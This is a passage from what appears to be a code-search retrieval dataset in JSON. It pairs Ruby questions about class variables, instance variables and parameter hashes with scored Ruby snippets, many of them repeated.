"score": "0.63850677",
"text": "def display_pokemon_zones\n return unless @mode == :pokedex\n\n display_zones(search_pokemon_zone)\n end",
"title": ""
},
{
"docid": "c599f3c60ab9f65af7c81ccddfbb23b0",
"score": "0.63843",
"text": "def pokemon_more_info(name)\n #gets list of pokemon of that type\n pokemon_info = PokemonInfoFinder::Pokemon.get_extra_info(name)\n \n puts \"\"\n puts \" More information on #{name}\"\n puts \"------------------------------------\"\n puts \"#{name} is #{pokemon_info[0]} Pokedex\"\n puts \"#{name} is known as the #{pokemon_info[1]}\"\n if pokemon_info[3] == \"\"\n puts \"#{name} is a #{pokemon_info[2]} type pokemon\"\n else\n puts \"#{name} is a #{pokemon_info[2]} and a #{pokemon_info[3]} type pokemon\"\n end\n puts \"------------------------------------\"\n\n end",
"title": ""
},
{
"docid": "351752f86d9e37eda724200d38694aff",
"score": "0.6380833",
"text": "def set_pokemon #gets pokemon id passed to before action\n @pokemon = Pokemon.find(params[:pokemon_id])\n end",
"title": ""
},
{
"docid": "286538003ed60b05014fe4b1c53d9c20",
"score": "0.6378354",
"text": "def show\n @puppy = Puppy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puppy }\n end\n end",
"title": ""
},
{
"docid": "d9c0604b65407b37ea13191938e966a6",
"score": "0.63698775",
"text": "def show\n pokemon = Pokemon.find(params[:id])\n pokemon_in_battle = []\n on_going_battle = PokemonBattle.where(state: 'On Going')\n on_going_battle.each do |battle|\n pokemon_in_battle << battle.pokemon1\n pokemon_in_battle << battle.pokemon2\n end\n if pokemon_in_battle.include?(pokemon)\n @show_heal_btn = false\n else\n @show_heal_btn = true\n end\n\n decorator = PokemonDecorator.new(self)\n @decorated_pokemon = decorator.decorate_for_show(pokemon)\n\n decorator_pokemon_skill = PokemonSkillDecorator.new(self)\n @decorated_pokemon_skills = decorator_pokemon_skill.decorate_for_index(pokemon.pokemon_skills)\n @pokemon_skill = PokemonSkill.new\n add_breadcrumb \"Home\", root_path\n add_breadcrumb \"Pokemon\", pokemons_path\n add_breadcrumb @decorated_pokemon.name\n\n\n\n end",
"title": ""
},
{
"docid": "86c29dc2c42e13afc04bce6de2d67d28",
"score": "0.63543314",
"text": "def set_desired_pokemon\n @desired_pokemon = DesiredPokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "9dc04b85ca72b66e49d03e74b94fc3fd",
"score": "0.6352704",
"text": "def index\n @pokemon_trainers = PokemonTrainer.all\n end",
"title": ""
}
] |
d092d595c24964e8972e3922a470b405 | we can also access a class variable w/i an instance method: | [
{
"docid": "57cf684514ddbe66329fdf1144e80ece",
"score": "0.0",
"text": "def total_number_of_phones\n @@total_number_of_phones\n end",
"title": ""
}
] | [
{
"docid": "41d7c8a84b2a096a33a31f5912ecec05",
"score": "0.7459806",
"text": "def instance_var\r\n @instance_var\r\n end",
"title": ""
},
{
"docid": "9f05e06134c38bda583122ff542952a2",
"score": "0.7368212",
"text": "def instance_var\n @instance_var\n end",
"title": ""
},
{
"docid": "9f05e06134c38bda583122ff542952a2",
"score": "0.7368212",
"text": "def instance_var\n @instance_var\n end",
"title": ""
},
{
"docid": "9f05e06134c38bda583122ff542952a2",
"score": "0.7368212",
"text": "def instance_var\n @instance_var\n end",
"title": ""
},
{
"docid": "9f05e06134c38bda583122ff542952a2",
"score": "0.7368212",
"text": "def instance_var\n @instance_var\n end",
"title": ""
},
{
"docid": "9f05e06134c38bda583122ff542952a2",
"score": "0.7368212",
"text": "def instance_var\n @instance_var\n end",
"title": ""
},
{
"docid": "9f05e06134c38bda583122ff542952a2",
"score": "0.7368212",
"text": "def instance_var\n @instance_var\n end",
"title": ""
},
{
"docid": "9f05e06134c38bda583122ff542952a2",
"score": "0.7368212",
"text": "def instance_var\n @instance_var\n end",
"title": ""
},
{
"docid": "0f620038c717320fecc257b90db64961",
"score": "0.73139507",
"text": "def instance_var\n @instance_var\n end",
"title": ""
},
{
"docid": "5a13f11fd70eccc86770a7ab66bd05ae",
"score": "0.7263236",
"text": "def getter\n @instance_variable\n end",
"title": ""
},
{
"docid": "5a13f11fd70eccc86770a7ab66bd05ae",
"score": "0.7263236",
"text": "def getter\n @instance_variable\n end",
"title": ""
},
{
"docid": "32f8115e6bc5430f7c269788350dfed9",
"score": "0.7262445",
"text": "def my_class_var\n @@my_class_var\n end",
"title": ""
},
{
"docid": "f47d1f0478c3ad31bbf204a9f60b55a8",
"score": "0.71363246",
"text": "def class_variable\n @@class_variable\nend",
"title": ""
},
{
"docid": "2cd07136d73974c03d37d1632a27a572",
"score": "0.69590473",
"text": "def foo\n puts @instance_variable\n end",
"title": ""
},
{
"docid": "973b11315cd3bdfed4f80280da3022da",
"score": "0.6925516",
"text": "def class_variable\n @class_variable\n end",
"title": ""
},
{
"docid": "64a8f462ccb6c8454f283720dd470188",
"score": "0.6923708",
"text": "def access_instance\n\t self.instance\n end",
"title": ""
},
{
"docid": "8d32160e26240e61f4fc1a9cc7f4a8b6",
"score": "0.6877872",
"text": "def class_variable\n @@class_variable\n end",
"title": ""
},
{
"docid": "8d32160e26240e61f4fc1a9cc7f4a8b6",
"score": "0.6877872",
"text": "def class_variable\n @@class_variable\n end",
"title": ""
},
{
"docid": "39426b661ec30ed658fc4d30c3815d29",
"score": "0.6820875",
"text": "def test_Module_InstanceMethods_classVariableGet\n\t\tassert_equal(\"wibble\", One9.class_variable_get(:@@var1) )\n\t\tassert_equal(\"wibble\", One9.class_variable_get(\"@@var1\"))\n\tend",
"title": ""
},
{
"docid": "7c385c935bbef2dd26ab9de61077c8fd",
"score": "0.6793211",
"text": "def initialize\n @instance_variable = 3 # Available in instance methods\n end",
"title": ""
},
{
"docid": "9dd171522941349a7e02b1c622f673d0",
"score": "0.67705095",
"text": "def instance; @the_instance end",
"title": ""
},
{
"docid": "0e43460b86888b977ff8f8d86310c00e",
"score": "0.6744886",
"text": "def initialize\n @instance_variable = 20\n end",
"title": ""
},
{
"docid": "527267f154fdf8f1218a43c415fe1d4c",
"score": "0.6722441",
"text": "def get!(instance)\n instance.instance_variable_get(instance_variable_name)\n end",
"title": ""
},
{
"docid": "e236710538afb5ec486a6056c4738971",
"score": "0.67214906",
"text": "def get(parameter, instance); end",
"title": ""
},
{
"docid": "8b1a703dc1d7361c4ccf5390bb486182",
"score": "0.66802007",
"text": "def instance_var\r\n @instance_var = @local_var\r\n end",
"title": ""
},
{
"docid": "81dadd1ecb59d16f5f2cc8d1887d95dd",
"score": "0.66315114",
"text": "def initialize_and_get_instance_variable\n\t\t@module_instance_variable_defined_in_a_method = \"Hello World!\"\n\t\treturn @instance_variable_defined_in_a_method\n\tend",
"title": ""
},
{
"docid": "17a07ff12e4250e34d093e72e3182123",
"score": "0.65166163",
"text": "def instance_method\n end",
"title": ""
},
{
"docid": "17a07ff12e4250e34d093e72e3182123",
"score": "0.65166163",
"text": "def instance_method\n end",
"title": ""
},
{
"docid": "a8b2df573a74ae5e0014292b296b1b5c",
"score": "0.65133375",
"text": "def instance_method\n\t\tputs self # #<MyClass:0x00xxxxxxxxxxxx> - Instance of MyClass\n\tend",
"title": ""
},
{
"docid": "ecc42dcbcc82ea61dbcdd26403382670",
"score": "0.64867985",
"text": "def test_Module_InstanceMethods_classVariableSet\n\t\tassert_equal(99, One9.class_variable_set(:@@var1, 99))\n\t\tassert_equal(99, One9.class_variable_get(\"@@var1\"))\n\tend",
"title": ""
},
{
"docid": "ed790614deb75d511f718050575b580b",
"score": "0.6482386",
"text": "def instance_variable_name; end",
"title": ""
},
{
"docid": "ed790614deb75d511f718050575b580b",
"score": "0.6482386",
"text": "def instance_variable_name; end",
"title": ""
},
{
"docid": "ce409d803078521bdb819d155a7783ac",
"score": "0.6480875",
"text": "def instance\n\n#instance = \n\nend",
"title": ""
},
{
"docid": "312ae8dd099258237a9449c2e21d20b0",
"score": "0.6409849",
"text": "def object\n instance_variable_get(instance_name)\n end",
"title": ""
},
{
"docid": "2e3ea97e15d67b9ecca59222671092bc",
"score": "0.6408808",
"text": "def instance_var=(value)#por convencion se les agrega el igual, para sobrenetender que el método sobreescribe una variable\n @instance_var = value\n end",
"title": ""
},
{
"docid": "dc23e169098b2909d016b222cc014a22",
"score": "0.6402073",
"text": "def instance_method\n end",
"title": ""
},
{
"docid": "aca8bc8de52220db5dbd008e36f2ce30",
"score": "0.63818806",
"text": "def show_class_foo\n puts @@foo\n end",
"title": ""
},
{
"docid": "5230aa1fd7986a0371bd0e372ca45304",
"score": "0.6362321",
"text": "def instance_var=(value)\r\n @instance_var = value\r\n end",
"title": ""
},
{
"docid": "5230aa1fd7986a0371bd0e372ca45304",
"score": "0.6362321",
"text": "def instance_var=(value)\r\n @instance_var = value\r\n end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "b5b25700e97a3ff8649acd443cb60f46",
"score": "0.633731",
"text": "def instance; end",
"title": ""
},
{
"docid": "98d6d1793b287291f6707e8083da4104",
"score": "0.6316429",
"text": "def call\n\t\t# access the \"mixed in\" instance method printVal from an instance method of MyClass\t\t\n\t\tputs(printVal)\n\tend",
"title": ""
},
{
"docid": "5b9bad01b818ab1bfce642567522c84f",
"score": "0.6314546",
"text": "def instance_var=(value)\n @instance_var = value\n end",
"title": ""
},
{
"docid": "5b9bad01b818ab1bfce642567522c84f",
"score": "0.6314546",
"text": "def instance_var=(value)\n @instance_var = value\n end",
"title": ""
},
{
"docid": "5b9bad01b818ab1bfce642567522c84f",
"score": "0.6314546",
"text": "def instance_var=(value)\n @instance_var = value\n end",
"title": ""
},
{
"docid": "5b9bad01b818ab1bfce642567522c84f",
"score": "0.6314546",
"text": "def instance_var=(value)\n @instance_var = value\n end",
"title": ""
},
{
"docid": "5b9bad01b818ab1bfce642567522c84f",
"score": "0.6314546",
"text": "def instance_var=(value)\n @instance_var = value\n end",
"title": ""
},
{
"docid": "5b9bad01b818ab1bfce642567522c84f",
"score": "0.6314546",
"text": "def instance_var=(value)\n @instance_var = value\n end",
"title": ""
},
{
"docid": "5b9bad01b818ab1bfce642567522c84f",
"score": "0.6314546",
"text": "def instance_var=(value)\n @instance_var = value\n end",
"title": ""
},
{
"docid": "5b9bad01b818ab1bfce642567522c84f",
"score": "0.6314546",
"text": "def instance_var=(value)\n @instance_var = value\n end",
"title": ""
},
{
"docid": "5b9bad01b818ab1bfce642567522c84f",
"score": "0.6314546",
"text": "def instance_var=(value)\n @instance_var = value\n end",
"title": ""
},
{
"docid": "5b9bad01b818ab1bfce642567522c84f",
"score": "0.6314546",
"text": "def instance_var=(value)\n @instance_var = value\n end",
"title": ""
},
{
"docid": "9f5c4700c2055c25e86797fb078a85ae",
"score": "0.62650067",
"text": "def instance_method\n @instance_method\n end",
"title": ""
},
{
"docid": "b28ad78c572f5c802c05709f3a00f92d",
"score": "0.62600803",
"text": "def instance_variable_ged( name )\n #TODO the [] shoud be a range, but currenly that is not processed in RubyCompiler\n var = get_instance_variable name.to_s[1 , name.to_s.length - 1].to_sym\n #puts \"getting #{name} #{var}\"\n var\n end",
"title": ""
},
{
"docid": "100878c655e9cee413055ec6bf6c2db6",
"score": "0.62454003",
"text": "def method_missing(meth, *args, &block)\n if self.instance_variables.include?(\"@#{meth}\".to_sym)\n self.instance_variable_get(\"@#{meth}\")\n else\n super\n end\n end",
"title": ""
},
{
"docid": "7147763d991a66400602189dd892d0fe",
"score": "0.62250096",
"text": "def ivg(name, _object=object); _object.instance_variable_get \"@#{name}\"; end",
"title": ""
},
{
"docid": "1a828b3075032406ecf62e2ad4e9f06b",
"score": "0.6220914",
"text": "def class=(p0) end",
"title": ""
},
{
"docid": "21f843f3b4f0b9ae2471faff5f5659dc",
"score": "0.6207838",
"text": "def instance(val)\n @value=val # creating new instance variable\n puts \"New instance variable is #@value\"\n end",
"title": ""
},
{
"docid": "88b45b4d27fef3c50109441672c1aff5",
"score": "0.6203605",
"text": "def instance_var=(value)\n @instance_var = value\n end",
"title": ""
},
{
"docid": "7701df30c201961ce38c6a9df66e5c23",
"score": "0.6202793",
"text": "def accessor; end",
"title": ""
},
{
"docid": "7701df30c201961ce38c6a9df66e5c23",
"score": "0.6202793",
"text": "def accessor; end",
"title": ""
},
{
"docid": "83112a7323531c821561595974d3f89c",
"score": "0.6197131",
"text": "def find_instance_var(name)\n return @selfcls && @selfcls.ivars.find{|x| x.name == name}\n end",
"title": ""
},
{
"docid": "57fbe02ee4c23d3aebf62af982a8da44",
"score": "0.616448",
"text": "def var; end",
"title": ""
},
{
"docid": "5be54c6bf93b95a2f3cf8732122e8879",
"score": "0.61633134",
"text": "def my_method\n local_var1 = 10\n local_var1 + @my_instance_var\n end",
"title": ""
},
{
"docid": "95090868a0a924bd025fabe0dea32ee0",
"score": "0.6128452",
"text": "def class_variable_get(name)\n @class_variables[name.to_sym]\n end",
"title": ""
},
{
"docid": "0430a796e8833eebba4a6b01c1ee6a6e",
"score": "0.61164105",
"text": "def value_of(cls)\n self[cls][:value]\n end",
"title": ""
},
{
"docid": "b1130afce97d410d447868e3f154d909",
"score": "0.61094785",
"text": "def classObj ()\n @Class\n end",
"title": ""
},
{
"docid": "fd057418e7613e59fe6384be7ddfe7b0",
"score": "0.60888255",
"text": "def class_variable=(value)\n @@class_variable = value\n end",
"title": ""
},
{
"docid": "fd057418e7613e59fe6384be7ddfe7b0",
"score": "0.60888255",
"text": "def class_variable=(value)\n @@class_variable = value\n end",
"title": ""
},
{
"docid": "fd057418e7613e59fe6384be7ddfe7b0",
"score": "0.60888255",
"text": "def class_variable=(value)\n @@class_variable = value\n end",
"title": ""
},
{
"docid": "95e04a671338f72820e1192bdaa2e404",
"score": "0.6077899",
"text": "def variable; end",
"title": ""
},
{
"docid": "95e04a671338f72820e1192bdaa2e404",
"score": "0.6077899",
"text": "def variable; end",
"title": ""
},
{
"docid": "95e04a671338f72820e1192bdaa2e404",
"score": "0.6077899",
"text": "def variable; end",
"title": ""
},
{
"docid": "95e04a671338f72820e1192bdaa2e404",
"score": "0.6077899",
"text": "def variable; end",
"title": ""
},
{
"docid": "95e04a671338f72820e1192bdaa2e404",
"score": "0.6077899",
"text": "def variable; end",
"title": ""
},
{
"docid": "2fe87ec0008df73e8ef33f08f7e1a54e",
"score": "0.60778415",
"text": "def test_Module_InstanceMethods_classVariables\n\t\tassert_equal([:@@var1], One10.class_variables)\n\t\t# TODO, Failed? Why?\n\t\t# assert_equal([:@@var2, :@@var1], Two11.class_variables)\n\tend",
"title": ""
},
{
"docid": "dfe3c2a8d5ba9c360ee8637f0ae63921",
"score": "0.60711557",
"text": "def member_t\n self.class.member_t\n end",
"title": ""
},
{
"docid": "fb23f6766efd879acf7a5cf41d4c5ed3",
"score": "0.6070309",
"text": "def m1()\r\n @foo = 0 # add @ to indicate it is instance variable \r\n end",
"title": ""
},
{
"docid": "71fae29845c5cfad22a8765b66655c87",
"score": "0.60677385",
"text": "def set_instance_var(value)\n @id = value # instance of class\n end",
"title": ""
},
{
"docid": "d0bcfe3e89f5314c38177344e4fa7bc0",
"score": "0.6061937",
"text": "def get(instance)\n process_value(instance, extract_value(instance))\n end",
"title": ""
},
{
"docid": "2908140e5186e1143029c4b8b1de584f",
"score": "0.6059515",
"text": "def inst_var_get\n # e.g. Work.instance_variable_get(@work)\n # which results in @work\n self.instance_variable_get(model_var)\n end",
"title": ""
},
{
"docid": "d2a81ea78628a2755f184823c5ddf4c9",
"score": "0.605522",
"text": "def set_class_var(value)\n @@my_var = value\n end",
"title": ""
},
{
"docid": "0ae2374d2a0d5a7e37f31330ee722595",
"score": "0.60532975",
"text": "def object_instance\n instance_variable_get(\"@#{object_name}\")\n end",
"title": ""
},
{
"docid": "0ae2374d2a0d5a7e37f31330ee722595",
"score": "0.60532975",
"text": "def object_instance\n instance_variable_get(\"@#{object_name}\")\n end",
"title": ""
},
{
"docid": "57ffbdf264ce7f7015ff202dd0a107f9",
"score": "0.60238284",
"text": "def get\n __getobj__\n end",
"title": ""
}
] |
d5e88d7a681640d4a6d2102ecb3810b4 | Instantiation and access. Get copy of parameter hash with parameters bound to this form. | [
{
"docid": "172d96e896138ab6e17e79d2f09aac93",
"score": "0.7362284",
"text": "def bound_params\n hash = {}\n self.class.form_params.each{ |name, param| hash[ name ] = param.dup.bind( self ) }\n hash.freeze\n end",
"title": ""
}
] | [
{
"docid": "1cd1b007c4691acb5a0c4c6fc2faf24d",
"score": "0.72719836",
"text": "def parameter_hash\n @parameter_hash\n end",
"title": ""
},
{
"docid": "abe1fdd5b8983535f8316ad5f64cd27a",
"score": "0.69444925",
"text": "def hash\n @parameters.hash\n end",
"title": ""
},
{
"docid": "f096b1d95ea388edbab08323757f8c19",
"score": "0.66292894",
"text": "def hash\n to_param.hash\n end",
"title": ""
},
{
"docid": "f096b1d95ea388edbab08323757f8c19",
"score": "0.66292894",
"text": "def hash\n to_param.hash\n end",
"title": ""
},
{
"docid": "fbb9f3d380a0c5c808032a4b81e39d3f",
"score": "0.65835756",
"text": "def params=(hash); end",
"title": ""
},
{
"docid": "fbb9f3d380a0c5c808032a4b81e39d3f",
"score": "0.65835756",
"text": "def params=(hash); end",
"title": ""
},
{
"docid": "fbb9f3d380a0c5c808032a4b81e39d3f",
"score": "0.65835756",
"text": "def params=(hash); end",
"title": ""
},
{
"docid": "13cc55742e33ba99e3e0ea83a472d934",
"score": "0.64783704",
"text": "def get_form_parameters\n \t {}\n end",
"title": ""
},
{
"docid": "8dbdfd1c4e2c6d6857b9afb906649790",
"score": "0.6406232",
"text": "def initialize\n @parameterList = Hash.new\t\t\t# Create empty hash\n super\t\t\t\t\t# Call superclass\n end",
"title": ""
},
{
"docid": "24be4b82fe8c0831bdc585b55a6176e8",
"score": "0.6392638",
"text": "def to_h\n @params\n end",
"title": ""
},
{
"docid": "24be4b82fe8c0831bdc585b55a6176e8",
"score": "0.6392638",
"text": "def to_h\n @params\n end",
"title": ""
},
{
"docid": "24be4b82fe8c0831bdc585b55a6176e8",
"score": "0.6392638",
"text": "def to_h\n @params\n end",
"title": ""
},
{
"docid": "24be4b82fe8c0831bdc585b55a6176e8",
"score": "0.6392638",
"text": "def to_h\n @params\n end",
"title": ""
},
{
"docid": "24be4b82fe8c0831bdc585b55a6176e8",
"score": "0.6392638",
"text": "def to_h\n @params\n end",
"title": ""
},
{
"docid": "76e5d0aefb7c2004d277aae2f8e609d6",
"score": "0.63870054",
"text": "def params\n self[:params] || {}\n end",
"title": ""
},
{
"docid": "70e9a35386ce2285305975ddf725bc36",
"score": "0.63515234",
"text": "def parameters\n @parameters ||= {}\n end",
"title": ""
},
{
"docid": "0f2d08efbd715dd4ae438e310e57e9f3",
"score": "0.6309483",
"text": "def params\n @params.dup\n end",
"title": ""
},
{
"docid": "f35f56886c48e8af8b79514d6f071280",
"score": "0.62772906",
"text": "def initialize(optHash)\r\n @optHash=optHash\r\n setParameters()\r\nend",
"title": ""
},
{
"docid": "f35f56886c48e8af8b79514d6f071280",
"score": "0.62772906",
"text": "def initialize(optHash)\r\n @optHash=optHash\r\n setParameters()\r\nend",
"title": ""
},
{
"docid": "6814e075da3dd9db6c8466e48794b89d",
"score": "0.62346953",
"text": "def params\n attributes[:params].to_h\n end",
"title": ""
},
{
"docid": "d585f3765e73e95dddc38452562e3059",
"score": "0.621972",
"text": "def params\n @params.to_h\n end",
"title": ""
},
{
"docid": "f54c279b4f043b7da3d39e7caf2c2da1",
"score": "0.6172462",
"text": "def initialize_copy orig\n @params=orig.params.dup\n end",
"title": ""
},
{
"docid": "f81667cd20bd3c4a3c80e491648c6240",
"score": "0.6135249",
"text": "def params\n @options[:params] || Hash.new\n end",
"title": ""
},
{
"docid": "5c8465ba1c10a50539c3fdde2d3fca6c",
"score": "0.6106742",
"text": "def param_hash\n param_hash = {}\n @parameters.each do |param_name, param_obj|\n param_hash[param_name] = param_obj.value\n end\n param_hash\n end",
"title": ""
},
{
"docid": "a87fae0742e782ff1c71acf46f58818e",
"score": "0.6091728",
"text": "def form_params\n @params ||= {}\n end",
"title": ""
},
{
"docid": "e333288d660e7f4f9e4a62a33f94f389",
"score": "0.6083989",
"text": "def parameters\n extract_hash(:parameters, :parameter_key, :parameter_value)\n end",
"title": ""
},
{
"docid": "c4a4eb81dfa908f7bbe9a566ea814985",
"score": "0.60663307",
"text": "def params\n super.with_indifferent_access\n end",
"title": ""
},
{
"docid": "313f7efac9a63c449647812446393d86",
"score": "0.6053319",
"text": "def serializable_hash(params)\n self\n end",
"title": ""
},
{
"docid": "d9c57d4d76a4ed4b3b57a04a1d8f5942",
"score": "0.60390913",
"text": "def form_params\n FormParamsController.instance\n end",
"title": ""
},
{
"docid": "408c591e4a146f398543e9f30bac35f9",
"score": "0.60230154",
"text": "def params\n super.symbolize_keys\n end",
"title": ""
},
{
"docid": "9a1643be1160b3c58f5a40d9e4e604eb",
"score": "0.6003471",
"text": "def params_hash\n @unsafe_params\n end",
"title": ""
},
{
"docid": "152b44aa4ff7b2a1191dbecde57eb46e",
"score": "0.60009956",
"text": "def build\n hash = {}\n attributes = @params.attributes\n attributes.each do |attribute|\n raw_attribute = @params.send(attribute)\n if raw_attribute.nil?\n hash[attribute] = nil\n elsif raw_attribute.is_a?(SimpleParams::Params)\n hash[attribute] = @params.send(attribute).to_hash\n elsif raw_attribute.is_a?(Array)\n attribute_array = []\n raw_attribute.each do |r_attr|\n unless r_attr.nil?\n attribute_array << r_attr.to_hash\n end\n end\n hash[attribute] = attribute_array\n else\n hash[attribute] = @params.send(attribute)\n end\n end\n hash\n end",
"title": ""
},
{
"docid": "8313893a7dc11519a0cf80c5bf3c6d38",
"score": "0.59931886",
"text": "def hash\n @hash ||= super\n end",
"title": ""
},
{
"docid": "e95311abe7206a540262ca346ad56ee6",
"score": "0.5966034",
"text": "def params\n super.to_unsafe_h.deep_symbolize_keys\n end",
"title": ""
},
{
"docid": "617fd9428cadb579d41eba38c2a0287e",
"score": "0.59463376",
"text": "def input_hash(form)\n hash = form.class.nested_hash_representer.new(form).to_hash\n symbolize_hash(hash)\n end",
"title": ""
},
{
"docid": "f892f02394b860c1d39af192e98261fd",
"score": "0.592769",
"text": "def initialize_copy( * ) # :nodoc:\n\t\t@hash = deep_copy( @hash )\n\tend",
"title": ""
},
{
"docid": "ccb164447eb68f319acda419b95e81cc",
"score": "0.59263825",
"text": "def params\n data = {}\n @@build_params.each do |param|\n data.store(param, self.instance_variable_get(\"@#{param}\"))\n end\n data\n end",
"title": ""
},
{
"docid": "2d71f8a4d8e136a0038099b8c05c39d9",
"score": "0.5920714",
"text": "def initialize_params(values={})\n if self.class.included_modules.include?(Parameters)\n self.class.each_param do |param|\n self.params[param.name] = param.to_instance(self)\n end\n end\n\n self.params = values if values.kind_of?(Hash)\n end",
"title": ""
},
{
"docid": "716e9a17f974abe4bf8d74183d9ad488",
"score": "0.59120685",
"text": "def to_params_hash; end",
"title": ""
},
{
"docid": "716e9a17f974abe4bf8d74183d9ad488",
"score": "0.59120685",
"text": "def to_params_hash; end",
"title": ""
},
{
"docid": "716e9a17f974abe4bf8d74183d9ad488",
"score": "0.59120685",
"text": "def to_params_hash; end",
"title": ""
},
{
"docid": "d3e8cc7195be2707c41a48e29f528b5c",
"score": "0.5908383",
"text": "def hash\n @hash ||= super\n end",
"title": ""
},
{
"docid": "f9e4fa2e6f273f78fe6955d4c368476d",
"score": "0.59008074",
"text": "def params\n @params ||= {}\n end",
"title": ""
},
{
"docid": "f01551d7243d790b3a99598786bdea3e",
"score": "0.5897012",
"text": "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[parameters parameterTypes parameterNames parameterValues line module includeAll hex]\n end",
"title": ""
},
{
"docid": "bb96d29e69ecdc3cbbc1fe96b8700e7b",
"score": "0.58877647",
"text": "def params\n hash_from_methods keys\n end",
"title": ""
},
{
"docid": "0432e381c2e1464261a2e270ad0beb1d",
"score": "0.5881855",
"text": "def obtain\n @params\n end",
"title": ""
},
{
"docid": "7be54e0498668ea29679022ae4d0c9f1",
"score": "0.5878595",
"text": "def params\n @params ||= {}\n end",
"title": ""
},
{
"docid": "7be54e0498668ea29679022ae4d0c9f1",
"score": "0.5878595",
"text": "def params\n @params ||= {}\n end",
"title": ""
},
{
"docid": "7be54e0498668ea29679022ae4d0c9f1",
"score": "0.5878595",
"text": "def params\n @params ||= {}\n end",
"title": ""
},
{
"docid": "ace157ae46341e44dcdc316122f425be",
"score": "0.587078",
"text": "def to_hash\n @param\n end",
"title": ""
},
{
"docid": "7dc671f2943072a99646bba2383278b2",
"score": "0.5868273",
"text": "def _params\n hash = parent.emitter.class.carbon_base.translation_table.inject({}) do |memo, translation|\n characteristic, key = translation\n if characteristic.is_a? ::Array\n current_value = parent.emitter.send characteristic[0]\n as = characteristic[1]\n else\n current_value = parent.emitter.send characteristic\n as = characteristic\n end\n current_value = begin\n current_value.to_characteristic\n rescue NoMethodError\n current_value.to_param\n end\n if current_value.is_a?(FalseClass) or current_value.present?\n if key\n memo[as] ||= {}\n memo[as][key] = current_value\n else\n memo[as] = current_value\n end\n end\n memo\n end\n hash[:timeframe] = parent.timeframe if parent.timeframe\n hash[:key] = parent.key if parent.key\n hash[:comply] = parent.comply if parent.comply\n hash\n end",
"title": ""
},
{
"docid": "b9bd17330eef6c63fcfb4b47c37241e2",
"score": "0.5867828",
"text": "def instance_params\n info.params\n end",
"title": ""
},
{
"docid": "35daab1811b2a4a0797d97412866e312",
"score": "0.58611935",
"text": "def initialize_copy(_original)\n new_params = {}\n @parameters.each do |key, child|\n new_params[key] = child.clone\n new_params[key].parent = self\n end\n @parameters = new_params\n end",
"title": ""
},
{
"docid": "e6bb104ff5acfa94c09ca889b2a26e23",
"score": "0.58588624",
"text": "def params\n old_params.to_hash.deep_symbolize_keys\n end",
"title": ""
},
{
"docid": "5023da5c5efbabdc72823625e880c0a1",
"score": "0.5851425",
"text": "def params\n @params ||= {}\n end",
"title": ""
},
{
"docid": "522d3a64e1ce0c501431e453e437203f",
"score": "0.5836609",
"text": "def parameter_binding\n end",
"title": ""
},
{
"docid": "522d3a64e1ce0c501431e453e437203f",
"score": "0.5836609",
"text": "def parameter_binding\n end",
"title": ""
},
{
"docid": "05cb06540d9f4e0276e3d253783b44e0",
"score": "0.5834791",
"text": "def to_h\n h = {}\n a = {}\n FORM_PARAMS.each do |param|\n a[param] = self.try(param) unless self.try(param).blank?\n end\n\n NESTED_FORM_PARAMS.each do |param|\n p_key = param.keys.first\n a[p_key] = self.try(p_key) unless self.try(p_key).blank?\n end\n \n h[:inspection_proxy] = a\n h.with_indifferent_access\n end",
"title": ""
},
{
"docid": "a29ae69dc2dcce4a4dcf7737a556a39e",
"score": "0.583146",
"text": "def as_hash\n clone.send(:cfg)\n end",
"title": ""
},
{
"docid": "e938ce0ec14745c3acc42a0ab6877e05",
"score": "0.58201766",
"text": "def to_h\n h = {}\n a = {}\n FORM_PARAMS.each do |param|\n a[param] = self.try(param) unless self.try(param).blank?\n end\n\n h[:transam_workflow_model_proxy] = a\n h.with_indifferent_access\n end",
"title": ""
},
{
"docid": "8a1d3dee981e1e271e7aca15110d83b7",
"score": "0.5813236",
"text": "def all_parameter_methods; @@p ||= Hash.new; end",
"title": ""
},
{
"docid": "fc1a1c351401c7c96704cda99693480f",
"score": "0.5806036",
"text": "def hash\n @bindings.hash\n end",
"title": ""
},
{
"docid": "300f1e4f03f0a8826c5ba332f01dcae9",
"score": "0.5801914",
"text": "def params\n read_attribute(:params) || begin \n write_attribute(:params, {} )\n read_attribute(:params)\n end\n end",
"title": ""
},
{
"docid": "22cec6ca2584c903fef9a85c5e466333",
"score": "0.5799358",
"text": "def params\n @params ||= {}\n end",
"title": ""
},
{
"docid": "22cec6ca2584c903fef9a85c5e466333",
"score": "0.5799358",
"text": "def params\n @params ||= {}\n end",
"title": ""
},
{
